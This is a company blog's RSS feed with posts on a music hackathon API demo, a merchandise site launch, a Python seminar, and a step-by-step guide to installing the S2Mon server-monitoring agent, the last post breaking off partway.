<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>
	<channel>
		<title>MTR Design</title>
		<link>http://mtr-design.com</link>
		<description>MTR Design is an innovative web company, offering all services needed to deliver a successful project. Since our foundation in 2005 we've completed 100+ web projects, from content management systems and e-commerce to custom web applications.</description>
		<lastBuildDate>Sun, 19 May 2013 22:15:16 +0000</lastBuildDate>
		<language>en</language>
	
					<item>
				<title>Dizzyjam @ Music Hack Day</title>
				<link>http://mtr-design.com/blog/dizzyjam-musichackday/</link>
				<pubDate>Mon, 18 Feb 2013 16:13:56 +0000</pubDate>
				<dc:creator>Emil Filipov</dc:creator>
									<category><![CDATA[Development]]></category>
									<category><![CDATA[Projects]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/dizzyjam-musichackday/</guid>
								<description><![CDATA[<p>If you had a slumberous February weekend, there is no reason to feel bad about it - after all, most of the world did. There was a special group of people, however, who gave up sleep and rest, in favor of creating awesome applications that could change the way you and I experience music. Yes, I'm talking about the hackers that took part in the <a title="MusicHackDay Sf'2013" href="http://sf.musichackday.org/2013/index.php?page=Main+page" target="_blank">MusicHackDay event in San Francisco</a>. These are the guys pushing the envelope, and these are the ideas you should watch out for, in case you have anything to do with the music industry.</p>
<p>The event produced <a href="https://www.hackerleague.org/hackathons/music-hack-day-sf-2013/hacks" target="_blank">66 projects</a>&nbsp;ranging from turning <a href="https://www.hackerleague.org/hackathons/music-hack-day-sf-2013/hacks/body-waves" target="_blank">body outlines to soundwaves via a Kinect controller</a>&nbsp;to a web platform for <a href="https://www.hackerleague.org/hackathons/music-hack-day-sf-2013/hacks/instrumentio" target="_blank">borrowing/renting musical instruments</a>. It's an (yet) invisible creativity explosion - the sort of mini-nova that bursts into billions particles, giving birth to planets and star systems, millions of years later. Well, in the IT gravitational field a million of years pass just like one day, so we should expect the results quite soon!&nbsp;</p>
<p>Thanks to the organizers, we were able to do an online presentation of the <a href="http://www.dizzyjam.com/" target="_blank">Dizzyjam website</a>, and more specifically, of a new feature we've recently added - the Dizzyjam API. As you might expect, it s a web-based, RESTful API that enables you to access all Dizzyjam functions programmatically. It <a href="http://www.dizzyjam.com/apidoc/" target="_blank">boasts a web console built into the docs</a>, a&nbsp;<a href="http://wordpress.org/extend/plugins/dizzyjam/" target="_blank">WordPress plugin</a>,&nbsp;bindings for <a href="https://github.com/mtrdesign/dizzyapi-php" target="_blank">Python</a>&nbsp;and <a href="https://github.com/mtrdesign/dizzyapi-php" target="_blank">PHP</a>, as well as a piece of unique functionality - creating new Dizzyjam users through your API account (see <a href="http://www.dizzyjam.com/apidoc/#manage.create_user" target="_blank">the manage/create_user method</a>). The API got utilized by a very interesting project during the hackathlon - <a title="Merchr" href="http://merchr.herokuapp.com/" target="_blank">Merchr</a>. It's the <em>why-did-not-I-think-of-it-first</em> kind of project - simple idea that could be a game changer one day. I sincerely hope that the guys behind this project will keep on hacking and bringing good stuff out!</p>]]></description>
				<content:encoded><![CDATA[<p>If you had a slumberous February weekend, there is no reason to feel bad about it - after all, most of the world did. There was a special group of people, however, who gave up sleep and rest, in favor of creating awesome applications that could change the way you and I experience music. Yes, I'm talking about the hackers that took part in the <a title="MusicHackDay Sf'2013" href="http://sf.musichackday.org/2013/index.php?page=Main+page" target="_blank">MusicHackDay event in San Francisco</a>. These are the guys pushing the envelope, and these are the ideas you should watch out for, in case you have anything to do with the music industry.</p>
<p>The event produced <a href="https://www.hackerleague.org/hackathons/music-hack-day-sf-2013/hacks" target="_blank">66 projects</a>&nbsp;ranging from turning <a href="https://www.hackerleague.org/hackathons/music-hack-day-sf-2013/hacks/body-waves" target="_blank">body outlines to soundwaves via a Kinect controller</a>&nbsp;to a web platform for <a href="https://www.hackerleague.org/hackathons/music-hack-day-sf-2013/hacks/instrumentio" target="_blank">borrowing/renting musical instruments</a>. It's an (yet) invisible creativity explosion - the sort of mini-nova that bursts into billions particles, giving birth to planets and star systems, millions of years later. Well, in the IT gravitational field a million of years pass just like one day, so we should expect the results quite soon!&nbsp;</p>
<p>Thanks to the organizers, we were able to do an online presentation of the <a href="http://www.dizzyjam.com/" target="_blank">Dizzyjam website</a>, and more specifically, of a new feature we've recently added - the Dizzyjam API. As you might expect, it s a web-based, RESTful API that enables you to access all Dizzyjam functions programmatically. It <a href="http://www.dizzyjam.com/apidoc/" target="_blank">boasts a web console built into the docs</a>, a&nbsp;<a href="http://wordpress.org/extend/plugins/dizzyjam/" target="_blank">WordPress plugin</a>,&nbsp;bindings for <a href="https://github.com/mtrdesign/dizzyapi-php" target="_blank">Python</a>&nbsp;and <a href="https://github.com/mtrdesign/dizzyapi-php" target="_blank">PHP</a>, as well as a piece of unique functionality - creating new Dizzyjam users through your API account (see <a href="http://www.dizzyjam.com/apidoc/#manage.create_user" target="_blank">the manage/create_user method</a>). The API got utilized by a very interesting project during the hackathlon - <a title="Merchr" href="http://merchr.herokuapp.com/" target="_blank">Merchr</a>. It's the <em>why-did-not-I-think-of-it-first</em> kind of project - simple idea that could be a game changer one day. I sincerely hope that the guys behind this project will keep on hacking and bringing good stuff out!</p>]]></content:encoded>
			</item>
					<item>
				<title>Get in business with Cotton Cart</title>
				<link>http://mtr-design.com/blog/get-in-business-with-cotton-cart/</link>
				<pubDate>Tue, 29 Jan 2013 08:17:40 +0000</pubDate>
				<dc:creator>Milen Nedev</dc:creator>
									<category><![CDATA[Company News]]></category>
									<category><![CDATA[Development]]></category>
									<category><![CDATA[Projects]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/get-in-business-with-cotton-cart/</guid>
								<description><![CDATA[<p><a title="Cotton Cart" href="http://www.cottoncart.com/">Cotton Cart</a>, our newest project, has just launched.</p>
<p>Some of you are probably already familiar with <a title="Dizzyjam" href="http://www.dizzyjam.com/">Dizzyjam</a> - our e-commerce and merchandising platform which we created to make it easy and risk-free for anyone in the music industry to make money from their merchandise.</p>
<p>In the past we&rsquo;ve received quite a lot of requests from people who wanted to use <a title="Dizzyjam" href="http://www.dizzyjam.com/">Dizzyjam</a> for trading non-music stuff. And as those requests grew we started thinking about including a non-music section in the original website. Or creating an entirely new website for those who want to sell merchandise no matter what their business activity is. After short reflection we went for the second option and just before Christmas we did a soft launch of <a title="Cotton Cart" href="http://www.cottoncart.com/">Cotton Cart</a>.</p>
<p>The new site follows the overall idea of <a title="Dizzyjam" href="http://www.dizzyjam.com/">www.dizzyjam.com</a> &ndash; in only three simple steps anyone can start making money - upload your designs, create your products and start selling. You don&rsquo;t have to buy 100 blank t-shirts, to organize printing or pile up all the stuff you can&rsquo;t sell. It won&rsquo;t cost you a penny. But it will cost you creativity and popularity in order to make anyone besides your granny buy your stuff. <a title="Cotton Cart" href="http://www.cottoncart.com/">Cotton Cart</a> is here to solve the popularity issue.</p>
<p><iframe width="1000" height="500" src="http://player.vimeo.com/video/54846928"></iframe></p>
<h2>Who can use this website?</h2>
<p><strong>Everyone.</strong> This may be a graffitist who wants to get famous, the grocery shop around the corner, where the best veggies are sold or a charity organisation that raises money for its cause. In fact such fundraising activities were the first to open their virtual stalls in <a title="Cotton Cart" href="http://www.cottoncart.com/">Cotton Cart</a>. Another clever idea is to use the platform for producing t-shirts or other merch for corporate events &ndash; team buildings, annual meetings and seminars. The website can be used for promoting sports events &ndash; just upload your local rugby team&rsquo;s design, print your merch and sell them to your fans in the neighbourhood. Surely you will have an audience to remember the next time your team meets the rivals.</p>
<p>The possibilities are countless &ndash; your imagination is the limit. So far we have charity and fundraising groups, festivals, sports events and we can&rsquo;t wait to see what else you can think of while using <a title="Cotton Cart" href="http://www.cottoncart.com/">Cotton Cart</a>.</p>]]></description>
				<content:encoded><![CDATA[<p><a title="Cotton Cart" href="http://www.cottoncart.com/">Cotton Cart</a>, our newest project, has just launched.</p>
<p>Some of you are probably already familiar with <a title="Dizzyjam" href="http://www.dizzyjam.com/">Dizzyjam</a> - our e-commerce and merchandising platform which we created to make it easy and risk-free for anyone in the music industry to make money from their merchandise.</p>
<p>In the past we&rsquo;ve received quite a lot of requests from people who wanted to use <a title="Dizzyjam" href="http://www.dizzyjam.com/">Dizzyjam</a> for trading non-music stuff. And as those requests grew we started thinking about including a non-music section in the original website. Or creating an entirely new website for those who want to sell merchandise no matter what their business activity is. After short reflection we went for the second option and just before Christmas we did a soft launch of <a title="Cotton Cart" href="http://www.cottoncart.com/">Cotton Cart</a>.</p>
<p>The new site follows the overall idea of <a title="Dizzyjam" href="http://www.dizzyjam.com/">www.dizzyjam.com</a> &ndash; in only three simple steps anyone can start making money - upload your designs, create your products and start selling. You don&rsquo;t have to buy 100 blank t-shirts, to organize printing or pile up all the stuff you can&rsquo;t sell. It won&rsquo;t cost you a penny. But it will cost you creativity and popularity in order to make anyone besides your granny buy your stuff. <a title="Cotton Cart" href="http://www.cottoncart.com/">Cotton Cart</a> is here to solve the popularity issue.</p>
<p><iframe width="1000" height="500" src="http://player.vimeo.com/video/54846928"></iframe></p>
<h2>Who can use this website?</h2>
<p><strong>Everyone.</strong> This may be a graffitist who wants to get famous, the grocery shop around the corner, where the best veggies are sold or a charity organisation that raises money for its cause. In fact such fundraising activities were the first to open their virtual stalls in <a title="Cotton Cart" href="http://www.cottoncart.com/">Cotton Cart</a>. Another clever idea is to use the platform for producing t-shirts or other merch for corporate events &ndash; team buildings, annual meetings and seminars. The website can be used for promoting sports events &ndash; just upload your local rugby team&rsquo;s design, print your merch and sell them to your fans in the neighbourhood. Surely you will have an audience to remember the next time your team meets the rivals.</p>
<p>The possibilities are countless &ndash; your imagination is the limit. So far we have charity and fundraising groups, festivals, sports events and we can&rsquo;t wait to see what else you can think of while using <a title="Cotton Cart" href="http://www.cottoncart.com/">Cotton Cart</a>.</p>]]></content:encoded>
			</item>
					<item>
				<title>Python and Django from dawn till dusk</title>
				<link>http://mtr-design.com/blog/python-and-django-from-dawn-till-dusk/</link>
				<pubDate>Thu, 10 Jan 2013 11:47:34 +0000</pubDate>
				<dc:creator>Emil Filipov</dc:creator>
									<category><![CDATA[Development]]></category>
									<category><![CDATA[Company News]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/python-and-django-from-dawn-till-dusk/</guid>
								<description><![CDATA[<p>We've been invited to do another training session on Python and Django at the <a title="Telerik Academy" href="http://academy.telerik.com/">Telerik Academy</a>. This time, it will be an intensive morning-to-evening seminar, with the aim of getting you from zero to hero on both Python and Django. Well, maybe not a true hero, but it will give you the basics of both technologies, so you can go on and study/work with them on your own. If you're in Sofia and getting into Python or Django has always been an unfulfilled childhood dream for you, or if you simply want to pick up some new and highly competitive skills for free, then waste not another minute - hurry to <a title="Python and Django development seminar at the Telerik Academy" href="http://academy.telerik.com/seminars/python-and-django-development">http://academy.telerik.com/seminars/python-and-django-development</a> and reserve your seat!</p>]]></description>
				<content:encoded><![CDATA[<p>We've been invited to do another training session on Python and Django at the <a title="Telerik Academy" href="http://academy.telerik.com/">Telerik Academy</a>. This time, it will be an intensive morning-to-evening seminar, with the aim of getting you from zero to hero on both Python and Django. Well, maybe not a true hero, but it will give you the basics of both technologies, so you can go on and study/work with them on your own. If you're in Sofia and getting into Python or Django has always been an unfulfilled childhood dream for you, or if you simply want to pick up some new and highly competitive skills for free, then waste not another minute - hurry to <a title="Python and Django development seminar at the Telerik Academy" href="http://academy.telerik.com/seminars/python-and-django-development">http://academy.telerik.com/seminars/python-and-django-development</a> and reserve your seat!</p>]]></content:encoded>
			</item>
					<item>
				<title>Server monitoring with S2Mon - Part 2</title>
				<link>http://mtr-design.com/blog/server-monitoring-with-s2mon-part-2/</link>
				<pubDate>Thu, 06 Dec 2012 07:38:47 +0000</pubDate>
				<dc:creator>Emil Filipov</dc:creator>
									<category><![CDATA[Projects]]></category>
									<category><![CDATA[Server Administration]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/server-monitoring-with-s2mon-part-2/</guid>
								<description><![CDATA[<p>In <a title="Part 1" href="/blog/server-monitoring-with-s2mon-part-1/">part 1</a> I covered the reasons why it is in your best interest to monitor your servers, and how can S2Mon help with that task. Well, we know that monitoring can be all cool and shiny, but how hard is it to set up? After all, the (real or perceived) effort required for the initial configuration is the single biggest reason why people avoid monitoring. In this part I'll explore the configuration process with S2Mon.</p>
<h3>1. Overview</h3>
<p>The S2 system relies on an agent installed on the server side to send information to the central brain over an encrypted SSL connection. The agent we are using is, of course, open-source script (written in Bash), so anyone can look inside it, and see what it is doing exactly. Don't know about you but I would feel very uneasy if I had to install some "proprietary" monitoring binary on my machines - it could be a remotely controlled trojan horse for all I know. So, keeping the agent open is key to us.</p>
<p>The open-source agent confirms another key point - it only *sends* information out to the central S2Mon servers, it does not *receive* any commands/configurations back. The communication here is one way - from the agent to the S2Mon center. The S2Mon center cannot modify the agent behavior in any way whatsoever.</p>
<h3>2. Requirements</h3>
<p>Since the agent is mainly written in Bash, it, obviously, requires Bash to be available on the monitored system. Fortunately, Bash is available on any Linux system released during the last 15 years or so. The other requirements are:</p>
<ul>
<li>Perl</li>
<li>curl</li>
<li>bzip</li>
<li>netstat</li>
<li>Linux OS</li>
</ul>
<p>The required tools are all present in most of the contemporary Linux distributions, but in case you have any doubts, you can check out the&nbsp;<a href="http://apiwiki.s2mon.com/push-data-agent/installation/prerequisites" target="_blank">prerequisites</a> page for distro-specific tips.</p>
<p>The Linux OS requirement is the major one here - S2Mon currently runs on Linux only. We have plans to make it available to Mac OS, *BSD and Windows users in the future, but for the time being, these platforms are not supported.</p>
<h3>3. Registering an account</h3>
<p>You will obviously need an S2Mon account, so, in case you do not have one, head to <a href="https://www.s2mon.com/registration/" target="_blank">https://www.s2mon.com/registration/</a>. Once you submit your desired account name and your email address, you will be taken straight to your Dashboard, and your password will be sent over email to you (so make sure you get that email field right).</p>
<p>The Dashboard is very restricted at this point - you need to verify your email address to unlock the full functionality of the system. To complete the verification, simply click on the activation link you got in your mailbox. That's it, your S2Mon account is now fully functional!</p>
<h3>4. Adding a server entry to the S2Mon site</h3>
<p>OK, this is where the fun starts. Before the S2Mon system starts accepting any data from your server, you need to create a server record in the S2Mon system. Go to <a href="https://www.s2mon.com/host/add/" target="_blank">https://www.s2mon.com/host/add/</a> (or <em>Servers</em> -&gt; <em>Add host</em> , if you would prefer) and fill in the following form:</p>
<p><img title="Add Host" src="http://mtr-design.com/var/images/s2mon_setup/AddHost.png" alt="Add Host" width="600" /></p>
<p><em>Hostname</em> should be a unique identifier of your server - it does not need to be a Fully Qualified Domain Name (FQDN) - though it is a good idea to use that. For an <em>Address</em>, you should enter the external IP address of the host. This is the IP address is where <em>Ping</em> probes will be sent to, should you choose to enable them from the drop-down menu. It is a good idea to enable these probes if the server is ping-able; in this way you will get an alert if the ping dies - this is considered an indication that something is wrong. The <em>Label</em> field is optional free-text that you may use to describe your server. If you fill it in, it will be the server identifier used throughout the S2 site; otherwise the <em>Hostname</em> would be used.</p>
<p>After you submit the form, you will be presented with the basic steps that you will need to follow to get the probe running. Since you are reading this blog post, you can just copy the <em>Pushdata Agent URL</em> and ignore everything else :). The <em>Pushdata Agent URL</em> is the address where the agent would send all of the monitoring information, so it is the most important piece of data on that page. In case you forgot it, accidentally closed the page,or the dog ate your computer, don't worry, you can always get back to this page via <em>Servers</em> -&gt; <em>Edit</em> button -&gt; <em>Probe setup</em> tab.</p>
<h3>5. Activating the services you want to monitor</h3>
<p>Now go to <a href="https://www.s2mon.com/servers/">https://www.s2mon.com/servers/</a>. You will see the list of your servers there, but there is also a convenient panel where you can enable or disable certain services. Go on and activate the ones you are interested in (or, if you are like me - all of them):</p>
<p><img title="Service Activation" src="http://mtr-design.com/var/images/s2mon_setup/ServiceActivation.png" alt="Service Activation" width="600" height="251" /></p>
<h3>6. Running the probe on the server</h3>
<p>This is the trickiest part of it all, as there is a lot of different ways to do it, depending on the server controls you have at hand. I'll assume that you have SSH access to the server, so you can run commands directly. If you do not have this kind of access though, you may still be able to run the S2 probe if you can:</p>
<ul>
<li>Download the probe archive, extract it, and put the extracted files onto your server;</li>
<li>Run a periodical task (cron job) every minute, which would fire the executable agent script at the specified URL.</li>
</ul>
<p>The S2Mon agent does NOT require a root account - you can run it from an unprivileged account. Even though I trust the agent completely, I run it from an unprivileged account on all my servers - it's a good approach security-wise, and it is more tidy. In some cases, however, unprivileged accounts may not have access to all built-in metrics, so you might want to run the cron job with root privileges - it's up to you and your specific setup</p>
<p>So, regardless of which account you decide to run the agent under, you can log in with that account and do the following:</p>
<pre>s2mon ~$ wget https://dc1.s2-monitoring.com/active-node/a/s2-pushdata.tar.gz # download
s2mon ~$ tar xzf s2-pushdata.tar.gz # extract
s2mon ~$ ls -la s2-pushdata/post.sh # verify that the post.sh script has executable permissions
s2mon ~$ cd s2-pushdata/
s2mon ~/s2-pushdata$ DEBUG_ENABLED=1 ./post.sh "https://dc1.s2-monitoring.com/rblmon/collector-vahzeegh/index.php/my-hostname.com" # Use your specific Pushdata Agent URL here, enclosed in single or double quotes!</pre>
<p>You will get some debug output out of the last command; it will abort if there is anything missing (for example, if curl is not installed on the system). If everything is OK, the last line would indicate successful data submission, e.g.:</p>
<pre>DEBUG: POST(https://dc1.s2-monitoring.com/rblmon/collector-vahzeegh/index.php/my-hostname.com): 21 keys (8879 -&gt; 2539 bytes).</pre>
<p>The only thing that's left to do is to set the agent to be executed every minute. Again, there are a few different ways to do this, but the most common one is to run '<em>crontab -e</em>', which will open up your user's crontab for editing. Then you only need to append the line:</p>
<pre>* * * * *<span style="white-space: pre;"> </span>cd /path/to/s2-pushdata/ &amp;&amp; ./post.sh "https://dc1.s2-monitoring.com/rblmon/collector-vahzeegh/index.php/my-hostname.com" &amp;&gt;/dev/null</pre>
<p>Please make sure that you substitute /path/to/s2-pushdata/ with the actual path to the s2-pushdata directory on your system, and to change the URL to the value that you got after adding your host record in the S2Mon website (note: changing just the hostname part at the end will NOT work).</p>
<h3>7. Profit!</h3>
<p>OK, if you were able to complete steps 5,6 and 7, then you should see the nifty monitoring widget on your S2Mon Dashboard turn all green. Congrats, your server is now monitored and you are recording the history of its most intimate parameters!</p>
<p><img title="Widget - OK Status" src="http://mtr-design.com/var/images/s2mon_setup/WidgetOK.png" alt="Widget - OK Status" width="310" height="327" /></p>
<h3>8. (Optional) MySQL monitoring configuration</h3>
<p>The MySQL service requires some extra configuration for the S2Mon agent to be able to look inside it, so you will need to take some extra steps if you want to monitor any of the MySQL services. The easiest way to do this is to:</p>
<ul>
<li>Create a MySQL user for S2Mon to use, by using the following query (ran as MySQL root or equivalent)</li>
</ul>
<pre>GRANT USAGE ON *.* TO 's2-monitor'@'localhost' IDENTIFIED BY '*******';</pre>
<p>Make sure to replace '*******' with a completely random password. Don't worry, you will not need to remember it for long!</p>
<ul>
<li>Create the files <em>/etc/s2-pushdata/mysql-username</em> and <em>/etc/s2-pushdata/mysql-password</em> on your system, and put the username (<em>s2-monitor</em> in this case) and password in the respective file (on a single line).</li>
<li>Change the ownership of those so that only the user that you are running S2Mon under can read them (for example set them to 0400).</li>
</ul>
<p>After this is all done, you will see the MySQL data charts slowly starting to fill in with data in the next few minutes.</p>
<h3>9. Post-setup</h3>
<p>Now that you have a host successfully added to the interface, the next logical step would be to setup some kind of notification that would poke you when the some parameter goes too high or too low. Additionally, you might want to enable other people to view or modify the server data in your account. Both tasks are easy with S2Mon and I will show you how to do it in the next part.</p>]]></description>
				<content:encoded><![CDATA[<p>In <a title="Part 1" href="/blog/server-monitoring-with-s2mon-part-1/">part 1</a> I covered the reasons why it is in your best interest to monitor your servers, and how can S2Mon help with that task. Well, we know that monitoring can be all cool and shiny, but how hard is it to set up? After all, the (real or perceived) effort required for the initial configuration is the single biggest reason why people avoid monitoring. In this part I'll explore the configuration process with S2Mon.</p>
<h3>1. Overview</h3>
<p>The S2 system relies on an agent installed on the server side to send information to the central brain over an encrypted SSL connection. The agent we are using is, of course, open-source script (written in Bash), so anyone can look inside it, and see what it is doing exactly. Don't know about you but I would feel very uneasy if I had to install some "proprietary" monitoring binary on my machines - it could be a remotely controlled trojan horse for all I know. So, keeping the agent open is key to us.</p>
<p>The open-source agent confirms another key point - it only *sends* information out to the central S2Mon servers, it does not *receive* any commands/configurations back. The communication here is one way - from the agent to the S2Mon center. The S2Mon center cannot modify the agent behavior in any way whatsoever.</p>
<h3>2. Requirements</h3>
<p>Since the agent is mainly written in Bash, it, obviously, requires Bash to be available on the monitored system. Fortunately, Bash is available on any Linux system released during the last 15 years or so. The other requirements are:</p>
<ul>
<li>Perl</li>
<li>curl</li>
<li>bzip</li>
<li>netstat</li>
<li>Linux OS</li>
</ul>
<p>The required tools are all present in most of the contemporary Linux distributions, but in case you have any doubts, you can check out the&nbsp;<a href="http://apiwiki.s2mon.com/push-data-agent/installation/prerequisites" target="_blank">prerequisites</a> page for distro-specific tips.</p>
<p>The Linux OS requirement is the major one here - S2Mon currently runs on Linux only. We have plans to make it available to Mac OS, *BSD and Windows users in the future, but for the time being, these platforms are not supported.</p>
<h3>3. Registering an account</h3>
<p>You will obviously need an S2Mon account, so, in case you do not have one, head to <a href="https://www.s2mon.com/registration/" target="_blank">https://www.s2mon.com/registration/</a>. Once you submit your desired account name and your email address, you will be taken straight to your Dashboard, and your password will be sent over email to you (so make sure you get that email field right).</p>
<p>The Dashboard is very restricted at this point - you need to verify your email address to unlock the full functionality of the system. To complete the verification, simply click on the activation link you got in your mailbox. That's it, your S2Mon account is now fully functional!</p>
<h3>4. Adding a server entry to the S2Mon site</h3>
<p>OK, this is where the fun starts. Before the S2Mon system starts accepting any data from your server, you need to create a server record in the S2Mon system. Go to <a href="https://www.s2mon.com/host/add/" target="_blank">https://www.s2mon.com/host/add/</a> (or <em>Servers</em> -&gt; <em>Add host</em> , if you would prefer) and fill in the following form:</p>
<p><img title="Add Host" src="http://mtr-design.com/var/images/s2mon_setup/AddHost.png" alt="Add Host" width="600" /></p>
<p><em>Hostname</em> should be a unique identifier of your server - it does not need to be a Fully Qualified Domain Name (FQDN) - though it is a good idea to use that. For an <em>Address</em>, you should enter the external IP address of the host. This is the IP address is where <em>Ping</em> probes will be sent to, should you choose to enable them from the drop-down menu. It is a good idea to enable these probes if the server is ping-able; in this way you will get an alert if the ping dies - this is considered an indication that something is wrong. The <em>Label</em> field is optional free-text that you may use to describe your server. If you fill it in, it will be the server identifier used throughout the S2 site; otherwise the <em>Hostname</em> would be used.</p>
<p>After you submit the form, you will be presented with the basic steps that you will need to follow to get the probe running. Since you are reading this blog post, you can just copy the <em>Pushdata Agent URL</em> and ignore everything else :). The <em>Pushdata Agent URL</em> is the address where the agent would send all of the monitoring information, so it is the most important piece of data on that page. In case you forgot it, accidentally closed the page,or the dog ate your computer, don't worry, you can always get back to this page via <em>Servers</em> -&gt; <em>Edit</em> button -&gt; <em>Probe setup</em> tab.</p>
<h3>5. Activating the services you want to monitor</h3>
<p>Now go to <a href="https://www.s2mon.com/servers/">https://www.s2mon.com/servers/</a>. You will see the list of your servers there, but there is also a convenient panel where you can enable or disable certain services. Go on and activate the ones you are interested in (or, if you are like me - all of them):</p>
<p><img title="Service Activation" src="http://mtr-design.com/var/images/s2mon_setup/ServiceActivation.png" alt="Service Activation" width="600" height="251" /></p>
<h3>6. Running the probe on the server</h3>
<p>This is the trickiest part of it all, as there is a lot of different ways to do it, depending on the server controls you have at hand. I'll assume that you have SSH access to the server, so you can run commands directly. If you do not have this kind of access though, you may still be able to run the S2 probe if you can:</p>
<ul>
<li>Download the probe archive, extract it, and put the extracted files onto your server;</li>
<li>Run a periodical task (cron job) every minute, which would fire the executable agent script at the specified URL.</li>
</ul>
<p>The S2Mon agent does NOT require a root account - you can run it from an unprivileged account. Even though I trust the agent completely, I run it from an unprivileged account on all my servers - it's a good approach security-wise, and it is more tidy. In some cases, however, unprivileged accounts may not have access to all built-in metrics, so you might want to run the cron job with root privileges - it's up to you and your specific setup</p>
<p>So, regardless of which account you decide to run the agent under, you can log in with that account and do the following:</p>
<pre>s2mon ~$ wget https://dc1.s2-monitoring.com/active-node/a/s2-pushdata.tar.gz # download
s2mon ~$ tar xzf s2-pushdata.tar.gz # extract
s2mon ~$ ls -la s2-pushdata/post.sh # verify that the post.sh script has executable permissions
s2mon ~$ cd s2-pushdata/
s2mon ~/s2-pushdata$ DEBUG_ENABLED=1 ./post.sh "https://dc1.s2-monitoring.com/rblmon/collector-vahzeegh/index.php/my-hostname.com" # Use your specific Pushdata Agent URL here, enclosed in single or double quotes!</pre>
<p>You will get some debug output out of the last command; it will abort if there is anything missing (for example, if curl is not installed on the system). If everything is OK, the last line would indicate successful data submission, e.g.:</p>
<pre>DEBUG: POST(https://dc1.s2-monitoring.com/rblmon/collector-vahzeegh/index.php/my-hostname.com): 21 keys (8879 -&gt; 2539 bytes).</pre>
<p>The only thing that's left to do is to set the agent to be executed every minute. Again, there are a few different ways to do this, but the most common one is to run '<em>crontab -e</em>', which will open up your user's crontab for editing. Then you only need to append the line:</p>
<pre>* * * * *<span style="white-space: pre;"> </span>cd /path/to/s2-pushdata/ &amp;&amp; ./post.sh "https://dc1.s2-monitoring.com/rblmon/collector-vahzeegh/index.php/my-hostname.com" &amp;&gt;/dev/null</pre>
<p>Please make sure that you substitute /path/to/s2-pushdata/ with the actual path to the s2-pushdata directory on your system, and to change the URL to the value that you got after adding your host record in the S2Mon website (note: changing just the hostname part at the end will NOT work).</p>
<h3>7. Profit!</h3>
<p>OK, if you were able to complete steps 5,6 and 7, then you should see the nifty monitoring widget on your S2Mon Dashboard turn all green. Congrats, your server is now monitored and you are recording the history of its most intimate parameters!</p>
<p><img title="Widget - OK Status" src="http://mtr-design.com/var/images/s2mon_setup/WidgetOK.png" alt="Widget - OK Status" width="310" height="327" /></p>
<h3>8. (Optional) MySQL monitoring configuration</h3>
<p>The MySQL service requires some extra configuration for the S2Mon agent to be able to look inside it, so you will need to take some extra steps if you want to monitor any of the MySQL services. The easiest way to do this is to:</p>
<ul>
<li>Create a MySQL user for S2Mon to use, by using the following query (ran as MySQL root or equivalent)</li>
</ul>
<pre>GRANT USAGE ON *.* TO 's2-monitor'@'localhost' IDENTIFIED BY '*******';</pre>
<p>Make sure to replace '*******' with a completely random password. Don't worry, you will not need to remember it for long!</p>
<ul>
<li>Create the files <em>/etc/s2-pushdata/mysql-username</em> and <em>/etc/s2-pushdata/mysql-password</em> on your system, and put the username (<em>s2-monitor</em> in this case) and password in the respective file (on a single line).</li>
<li>Change the ownership of those so that only the user that you are running S2Mon under can read them (for example set them to 0400).</li>
</ul>
<p>After this is all done, you will see the MySQL data charts slowly starting to fill in with data in the next few minutes.</p>
<h3>9. Post-setup</h3>
<p>Now that you have a host successfully added to the interface, the next logical step would be to setup some kind of notification that would poke you when the some parameter goes too high or too low. Additionally, you might want to enable other people to view or modify the server data in your account. Both tasks are easy with S2Mon and I will show you how to do it in the next part.</p>]]></content:encoded>
			</item>
					<item>
				<title>Free your people</title>
				<link>http://mtr-design.com/blog/free-your-people/</link>
				<pubDate>Tue, 04 Dec 2012 14:53:43 +0000</pubDate>
				<dc:creator>Milen Nedev</dc:creator>
									<category><![CDATA[Quotes]]></category>
									<category><![CDATA[Business]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/free-your-people/</guid>
								<description><![CDATA[<p><em>The more you free your people to think for themselves, the more they can help you. You don't have to do this all on your own.</em></p>
<p><strong>-- Richard Branson</strong></p>]]></description>
				<content:encoded><![CDATA[<p><em>The more you free your people to think for themselves, the more they can help you. You don't have to do this all on your own.</em></p>
<p><strong>-- Richard Branson</strong></p>]]></content:encoded>
			</item>
					<item>
				<title>Server monitoring with S2Mon - Part 1</title>
				<link>http://mtr-design.com/blog/server-monitoring-with-s2mon-part-1/</link>
				<pubDate>Thu, 29 Nov 2012 12:16:33 +0000</pubDate>
				<dc:creator>Emil Filipov</dc:creator>
									<category><![CDATA[Development]]></category>
									<category><![CDATA[Projects]]></category>
									<category><![CDATA[Server Administration]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/server-monitoring-with-s2mon-part-1/</guid>
								<description><![CDATA[<p>We've all heard that servers sometimes break for one reason or another. We often forget, however, how inevitable it is. While everything is working, the system looks like a rock solid blend of software and hardware. You get the feeling that if you don't touch it, it would keep spinning for years.</p>
<p>That's a very misleading feeling. The proper operation of a server depends on many dynamic parts, like having Internet connectivity, stable power supply, proper cooling, enough network bandwidth, free disk space, running services, available CPU power, IO bandwidth, memory, ... That's just the tip of the iceberg, but I think the point is clear - there is <em>a lot</em> that can go wrong with a server.&nbsp;</p>
<p>Eventually some of those subsystems will break down for one reason or another. When one of them fails, it usually brings down others, creating a digital mayhem that can be quite hard to untangle. Businesses relying on the servers being up and running tend not to look too favorably on the inevitability of the situation. Instead of accepting the incident philosophically and being grateful for the great uptime so far, business owners instead go for questions like "What happened?!?!!", "What's causing this???" and "WHEN WILL IT BE BACK UP????!!!". Sad, I know.&nbsp;</p>
<p>Smart people, who would rather avoid coming unprepared for those questions, have come up with the idea of monitoring, so that:</p>
<ul>
<li>problems are caught up in their infant stages, before they cause real damage (e.g. slowly increasing disk space usage);</li>
<li>when some malfunction does occur, they can cast a quick glance over the various monitoring gauges, and quickly determine what's the root cause of it;</li>
<li>they can follow trends in the server metrics, so they can both get insight into issues from the past and predict future behavior.</li>
</ul>
